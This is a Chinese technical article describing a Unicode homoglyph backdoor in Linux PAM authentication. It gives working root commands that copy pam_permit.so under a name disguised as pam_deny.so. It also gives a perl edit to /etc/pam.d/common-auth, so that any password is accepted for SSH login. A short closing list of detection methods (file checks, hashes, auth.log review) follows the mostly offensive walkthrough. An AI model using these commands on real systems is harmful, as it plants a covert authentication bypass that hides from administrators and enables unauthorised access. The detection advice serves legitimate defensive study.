受到FreeBuf早前相关同形异体字攻击文章的启发,故有此文。
目前主流的Linux发行版本都支持Unicode,这也给了利用同形异义字迷惑系统管理员的后门有了可乘之机。 本文通过案例描绘此类漏洞是如何实现的。
我们看一下 ssh 的 pam 认证模块
注意第一行 @ include common-auth
我们再看一下 common-auth
注意红框圈的那一行
auth [success=1 default=ignore] pam_unix.so nullok_secure
pam_unix.so 是用于校验用户的的账户和密码是否正确,如果账号密码正确,则直接返回,不执行下一行,否则执行下一行。
auth requisite pam_deոy.so
关于 requisite 的含义解释如下:
因为 pam_deny.so 模块会返回失败, 加上这行的控制标记是requisite,所以系统会直接拒绝用户登录。
我们知道与 pam_deny.so 模块对应的就是 pam_permit.so , 如果我们能把
auth requisite pam_deոy.so
更改为
auth requisite pam_permit.so
则任意密码都可以登录成功,但这里也有个问题
pam_permit.so 很容易被管理员发现啊,毕竟pam_permit.so 和pam_deny.so 看起来就不一样嘛
所以这里要用到本文所述Unicode 的同形异义字来将pam_permit.so 伪装起来,使其看起来像pam_deny.so
root@kali:~# cp /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so
伪装后的 pam_deոy.so , 红圈所示, 不留心仔细观察,很难分辨真伪
root@kali:~# perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth
查看一下修改后的common_auth (红框所示)
不仔细观察,不好辨真伪
随便输入密码
点击‘确定’
成功登录
我们看一下登录日志 ( /var/log/auth.log )
我们可以看出,虽然 pam_unix.so 认证失败,但是 最终还是登录成功(因为伪装的 pam_deոy.so 起了作用)
虽然伪装的 pam_deոy.so 和真正的 pam_deny.so 看起来一样,但实际上是不同的两个文件,要区分它也很简单, 总结以下方法:
1、直接使用 file 或者 locate 命令查看 pam_deny.so 是否存在
2、系统安装后给所有的文件做 hash, 然后对比 hash 3、查看登录日志 (比如 /var/log/auth.log ) 如果发现 pam_unix 认证失败,仍能登录成功,则必须警惕 pam_deny.so 是否已经被调包 4、如果发现任意密码均可登录,则要警惕 pam_deny.so 是否已经被调包